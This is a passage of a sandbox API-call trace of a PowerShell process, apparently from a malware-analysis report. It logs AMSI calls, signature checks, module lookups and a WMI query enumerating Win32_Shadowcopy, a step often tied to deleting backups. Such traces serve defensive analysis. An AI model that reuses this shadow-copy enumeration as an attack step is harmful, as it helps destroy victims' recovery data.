[0119.648] GetFileType (hFile=0x8b8) returned 0x1 [0119.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893ce04) returned 1 [0119.648] GetFileType (hFile=0x8b8) returned 0x1 [0119.663] DuplicateTokenEx (in: hExistingToken=0x8b8, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x893ceec | out: phNewToken=0x893ceec*=0x8d0) returned 1 [0119.663] CheckTokenMembership (in: TokenHandle=0x8d0, SidToCheck=0x563ada8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x893cefc | out: IsMember=0x893cefc) returned 1 [0119.663] CloseHandle (hObject=0x8d0) returned 1 [0119.664] WTGetSignatureInfo () returned 0x0 [0119.844] CertDuplicateCertificateContext (pCertContext=0x7746480) returned 0x7746480 [0119.844] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x893cb68 | out: phkResult=0x893cb68*=0x8c8) returned 0x0 [0119.845] RegQueryValueExW (in: hKey=0x8c8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893cb88, lpData=0x0, lpcbData=0x893cb84*=0x0 | out: lpType=0x893cb88*=0x1, lpData=0x0, lpcbData=0x893cb84*=0x56) returned 0x0 [0119.845] RegQueryValueExW (in: hKey=0x8c8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893cb88, lpData=0x5643ef8, lpcbData=0x893cb84*=0x56 | out: lpType=0x893cb88*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x893cb84*=0x56) returned 0x0 [0119.845] RegCloseKey (hKey=0x8c8) returned 0x0 [0119.845] CoTaskMemAlloc (cb=0x10) returned 0x77d5b48 [0119.845] CoTaskMemAlloc (cb=0x30) returned 0x7979b90 [0119.845] WinVerifyTrust () returned 0x0 [0119.847] CoTaskMemFree (pv=0x7979b90) [0119.847] CoTaskMemFree (pv=0x77d5b48) [0119.847] CertFreeCertificateContext (pCertContext=0x7746480) returned 1 [0119.847] CloseHandle (hObject=0x8d0) returned 1 [0119.847] AmsiScanString () returned 0x80070015 [0120.012] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x3152ee8 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0120.012] CoTaskMemFree (pv=0x3152ee8) [0120.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0120.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0120.163] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893e6bc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e6bc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.163] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e628*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3a, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.246] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x893e450, DesiredAccess=0x800, PolicyHandle=0x893e410 | out: PolicyHandle=0x893e410) returned 0x0 [0120.247] LsaLookupSids (in: PolicyHandle=0x778aa20, Count=0x1, Sids=0x581b238*=0x581b1dc*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x893e42c, Names=0x893e420 | out: ReferencedDomains=0x893e42c, Names=0x893e420) returned 0x0 [0120.247] LsaClose (ObjectHandle=0x778aa20) returned 0x0 [0120.248] LsaFreeMemory (Buffer=0x77553d8) returned 0x0 [0120.248] LsaFreeMemory (Buffer=0x31cfb08) returned 0x0 [0120.250] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x893e4f4 | out: pFixedInfo=0x0, pOutBufLen=0x893e4f4) returned 0x6f [0120.937] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x3152ee8 [0120.937] GetNetworkParams (in: pFixedInfo=0x3152ee8, pOutBufLen=0x893e4f4 | out: pFixedInfo=0x3152ee8, pOutBufLen=0x893e4f4) returned 0x0 [0121.190] GetCurrentThreadId () returned 0xf9c [0121.978] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x581aefc*, nNumberOfCharsToWrite=0x19, lpNumberOfCharsWritten=0x893e4d0, lpReserved=0x0 | out: lpBuffer=0x581aefc*, lpNumberOfCharsWritten=0x893e4d0*=0x19) returned 1 [0122.141] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e4bc | out: lpConsoleScreenBufferInfo=0x893e4bc) returned 1 [0122.326] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0122.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893e4bc | out: lpConsoleScreenBufferInfo=0x893e4bc) returned 1 [0122.652] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0122.664] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x893e51c | out: lpMode=0x893e51c) returned 1 [0122.678] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x544bc5c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x893e510, lpReserved=0x0 | out: lpBuffer=0x544bc5c*, lpNumberOfCharsWritten=0x893e510*=0x1) returned 1 [0122.686] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e64c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e64c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0122.686] CoCreateGuid (in: pguid=0x893e758 | out: pguid=0x893e758*(Data1=0xb08ad56, Data2=0x5976, Data3=0x407e, Data4=([0]=0xab, [1]=0x74, [2]=0xc4, [3]=0x26, [4]=0x89, [5]=0x15, [6]=0x5, [7]=0x6a))) returned 0x0 [0122.687] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e350, nSize=0xc3 | out: lpBuffer="ᛳ瑝") returned 0x0 [0122.687] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x893e26c, nSize=0xc3 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0122.688] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x893e258, nSize=0xc3 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0122.688] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x315e1c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0122.701] AmsiCloseSession () returned 0x34a2c40 [0122.701] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x920 [0122.701] SetThreadUILanguage (LangId=0x0) returned 0x2f50409 [0122.754] WTGetSignatureInfo () returned 0x0 [0122.807] CertDuplicateCertificateContext (pCertContext=0x7746750) returned 0x7746750 [0122.808] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x893d83c | out: phkResult=0x893d83c*=0x930) returned 0x0 [0122.808] RegQueryValueExW (in: hKey=0x930, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893d85c, lpData=0x0, lpcbData=0x893d858*=0x0 | out: lpType=0x893d85c*=0x1, lpData=0x0, lpcbData=0x893d858*=0x56) returned 0x0 [0122.808] RegQueryValueExW (in: hKey=0x930, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x893d85c, lpData=0x5869eac, lpcbData=0x893d858*=0x56 | out: lpType=0x893d85c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x893d858*=0x56) returned 0x0 [0122.808] RegCloseKey (hKey=0x930) returned 0x0 [0122.809] CoTaskMemAlloc (cb=0x10) returned 0x77d5e90 [0122.809] CoTaskMemAlloc (cb=0x30) returned 0x7979ab0 [0122.809] WinVerifyTrust () returned 0x0 [0122.810] CoTaskMemFree (pv=0x7979ab0) [0122.810] CoTaskMemFree (pv=0x77d5e90) [0122.810] CertFreeCertificateContext (pCertContext=0x7746750) returned 1 [0122.810] CloseHandle (hObject=0x924) returned 1 [0122.810] AmsiOpenSession () returned 0x0 [0122.810] AmsiScanString () returned 0x80070015 [0122.824] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0122.825] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0122.825] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0122.825] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0122.825] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0122.825] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0122.833] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0122.833] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0122.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d290) returned 1 [0122.833] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x893d30c | out: lpFileInformation=0x893d30c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d28c) returned 1 [0122.833] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0122.833] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0122.833] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x893cfc8, nSize=0xc3 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0122.834] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0122.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0122.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0122.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d098) returned 1 [0122.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x893d114 | out: lpFileInformation=0x893d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d094) returned 1 [0122.836] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0122.837] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0122.853] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0122.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0122.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0122.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d098) returned 1 [0122.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x893d114 | out: lpFileInformation=0x893d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d094) returned 1 [0122.855] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0122.857] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0122.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0122.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0122.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893d098) returned 1 [0122.857] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x893d114 | out: lpFileInformation=0x893d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893d094) returned 1 [0122.859] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0123.039] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x79f2a30 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0123.039] CoTaskMemFree (pv=0x79f2a30) [0123.039] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0123.039] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0123.040] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e0ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e0ec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x84, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0123.040] SetEvent (hEvent=0x920) returned 1 [0123.040] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x893e2fc*=0x920, lpdwindex=0x893e11c | out: lpdwindex=0x893e11c) returned 0x0 [0123.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x893e258*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x893e254 | out: ppvObject=0x893e254*=0x314d2c0) returned 0x0 [0123.523] WbemDefPath:IUnknown:AddRef (This=0x314d2c0) returned 0x3 [0123.523] WbemDefPath:IUnknown:Release (This=0x314d2c0) returned 0x2 [0123.526] WbemDefPath:IWbemPath:SetText (This=0x314d2c0, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0123.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x314d2c0, puCount=0x893e3d4 | out: puCount=0x893e3d4*=0x2) returned 0x0 [0123.531] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e3d0*=0x0, pszText=0x0 | out: puBuffLength=0x893e3d0*=0x17, pszText=0x0) returned 0x0 [0123.531] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e3d0*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x893e3d0*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0123.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x314d2c0, puCount=0x893e3d8 | out: puCount=0x893e3d8*=0x2) returned 0x0 [0123.533] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e3d4*=0x0, pszText=0x0 | out: puBuffLength=0x893e3d4*=0x17, pszText=0x0) returned 0x0 [0123.533] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e3d4*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x893e3d4*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0123.669] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x893e26c*=0x93c, lpdwindex=0x893e11c | out: lpdwindex=0x893e11c) returned 0x0 [0126.210] CoGetContextToken (in: pToken=0x893e128 | out: pToken=0x893e128) returned 0x0 [0126.210] CoGetContextToken (in: pToken=0x893e088 | out: pToken=0x893e088) returned 0x0 [0126.210] CoGetContextToken (in: pToken=0x893e088 | out: pToken=0x893e088) returned 0x0 [0126.210] CoGetContextToken (in: pToken=0x893e030 | out: pToken=0x893e030) returned 0x0 [0126.210] IUnknown:QueryInterface (in: This=0x319ec38, riid=0x72e4f070*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e00c | out: ppvObject=0x893e00c*=0x319ec48) returned 0x0 [0126.211] CObjectContext::ContextCallback () returned 0x0 [0126.245] IUnknown:Release (This=0x319ec48) returned 0x1 [0126.245] CoUnmarshalInterface (in: pStm=0x778c3e0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x893e07c | out: ppv=0x893e07c*=0x780a55c) returned 0x0 [0126.245] CoMarshalInterface (pStm=0x778c3e0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x780a55c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0126.246] WbemLocator:IUnknown:QueryInterface (in: This=0x780a55c, riid=0x893e158*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x893e154 | out: ppvObject=0x893e154*=0x7742fc0) returned 0x0 [0126.285] WbemLocator:IUnknown:Release (This=0x780a55c) returned 0x1 [0126.285] IWbemServices:ExecQuery (in: This=0x7742fc0, strQueryLanguage="WQL", strQuery="select * from Win32_Shadowcopy", lFlags=16, pCtx=0x0, ppEnum=0x893e334 | out: ppEnum=0x893e334*=0x31f0da8) returned 0x0 [0126.303] IUnknown:QueryInterface (in: This=0x31f0da8, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e190 | out: ppvObject=0x893e190*=0x31f0dac) returned 0x0 [0126.303] IClientSecurity:QueryBlanket (in: This=0x31f0dac, pProxy=0x31f0da8, pAuthnSvc=0x893e1e0, pAuthzSvc=0x893e1dc, pServerPrincName=0x893e1d4, pAuthnLevel=0x893e1d8, pImpLevel=0x893e1c8, pAuthInfo=0x893e1cc, pCapabilites=0x893e1d0 | out: pAuthnSvc=0x893e1e0*=0xa, pAuthzSvc=0x893e1dc*=0x0, pServerPrincName=0x893e1d4, pAuthnLevel=0x893e1d8*=0x6, pImpLevel=0x893e1c8*=0x2, pAuthInfo=0x893e1cc, pCapabilites=0x893e1d0*=0x1) returned 0x0 [0126.303] IUnknown:Release (This=0x31f0dac) returned 0x1 [0126.303] IUnknown:QueryInterface (in: This=0x31f0da8, riid=0x6c1a351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e184 | out: ppvObject=0x893e184*=0x780a65c) returned 0x0 [0126.304] IUnknown:QueryInterface (in: This=0x31f0da8, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 